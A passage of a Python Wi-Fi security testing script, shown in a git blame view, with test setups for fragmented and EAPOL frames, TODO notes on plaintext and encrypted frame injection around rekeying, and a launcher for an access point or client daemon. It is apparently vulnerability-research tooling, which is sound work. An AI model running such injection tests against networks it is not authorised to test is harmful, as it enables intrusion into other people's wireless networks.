test = PingTest(REQ_DHCP,
|
|
|
|
[Frag(Frag.Connected, True),
|
2020-04-03 15:48:34 -04:00
|
|
|
Frag(Frag.Connected, True, delay=1)])
|
|
|
|
#separate_with=separator)
|
|
|
|
|
|
|
|
elif test_id == 7:
|
|
|
|
test = EapolMsduTest(REQ_DHCP)
|
2020-04-01 10:14:07 -04:00
|
|
|
|
|
|
|
# XXX TODO : Hardware decrypts it using old key, software using new key?
|
|
|
|
# So right after rekey we inject first with old key, second with new key?
|
|
|
|
|
|
|
|
# XXX TODO : What about extended functionality where we can have
|
|
|
|
# two simultaneously pairwise keys?!?!
|
2020-03-30 13:53:56 -04:00
|
|
|
|
|
|
|
# TODO:
|
|
|
|
# - Test case to check if the receiver supports interleaved priority
|
|
|
|
# reception. It seems Windows 10 / Intel might not support this.
|
|
|
|
# - Test case with a very lage aggregated frame (which is normally not
|
|
|
|
# allowed but some may accept it). And a variation to check how APs
|
|
|
|
# will forward such overly large frame (e.g. force fragmentation).
|
|
|
|
# - 1.1 Encrypted (= sanity ping test)
|
|
|
|
# 1.2 Plaintext (= text plaintext injection)
|
|
|
|
# 1.3 Encrpted, Encrypted
|
|
|
|
# 1.4 [TKIP] Encrpted, Encrypted, no global MIC
|
|
|
|
# 1.5 Plaintext, plaintext
|
|
|
|
# 1.6 Encrypted, plaintext
|
|
|
|
# 1.7 Plaintext, encrypted
|
|
|
|
# 1.8 Encrypted, plaintext, encrypted
|
|
|
|
# 1.9 Plaintext, encrypted, plaintext
|
|
|
|
# 2. Test 2 but first plaintext sent before installing key
|
|
|
|
|
|
|
|
return test
|
2020-03-01 19:03:08 -05:00
|
|
|
|
2020-02-27 07:07:19 -05:00
|
|
|
if __name__ == "__main__":
|
2020-03-30 13:53:56 -04:00
|
|
|
log(WARNING, "Remember to use a modified backports and ath9k_htc firmware!\n")
|
2020-03-01 19:03:08 -05:00
|
|
|
if "--help" in sys.argv or "-h" in sys.argv:
|
|
|
|
print("\nSee README.md for usage instructions.")
|
2020-02-27 07:07:19 -05:00
|
|
|
quit(1)
|
2020-03-30 13:53:56 -04:00
|
|
|
elif len(sys.argv) < 2:
|
|
|
|
print(f"Usage: {sys.argv[0]} interface test_id")
|
|
|
|
quit(1)
|
2020-02-27 07:07:19 -05:00
|
|
|
|
2020-03-01 19:03:08 -05:00
|
|
|
options = TestOptions()
|
2020-03-04 06:36:52 -05:00
|
|
|
options.interface = sys.argv[1]
|
2020-03-30 13:53:56 -04:00
|
|
|
options.test = prepare_tests(int(sys.argv[2]))
|
2020-03-01 19:03:08 -05:00
|
|
|
|
2020-03-24 08:52:31 -04:00
|
|
|
# Parse remaining options
|
|
|
|
start_ap = argv_pop_argument("--ap")
|
|
|
|
while argv_pop_argument("--debug"):
|
|
|
|
libwifi.global_log_level -= 1
|
2020-03-01 19:03:08 -05:00
|
|
|
|
|
|
|
# Now start the tests
|
2020-03-07 21:10:26 -05:00
|
|
|
if start_ap:
|
|
|
|
daemon = Authenticator(options)
|
|
|
|
else:
|
|
|
|
daemon = Supplicant(options)
|
2020-02-27 07:07:19 -05:00
|
|
|
atexit.register(cleanup)
|
2020-03-07 21:10:26 -05:00
|
|
|
daemon.run()
|
2020-02-27 07:07:19 -05:00
|
|
|
|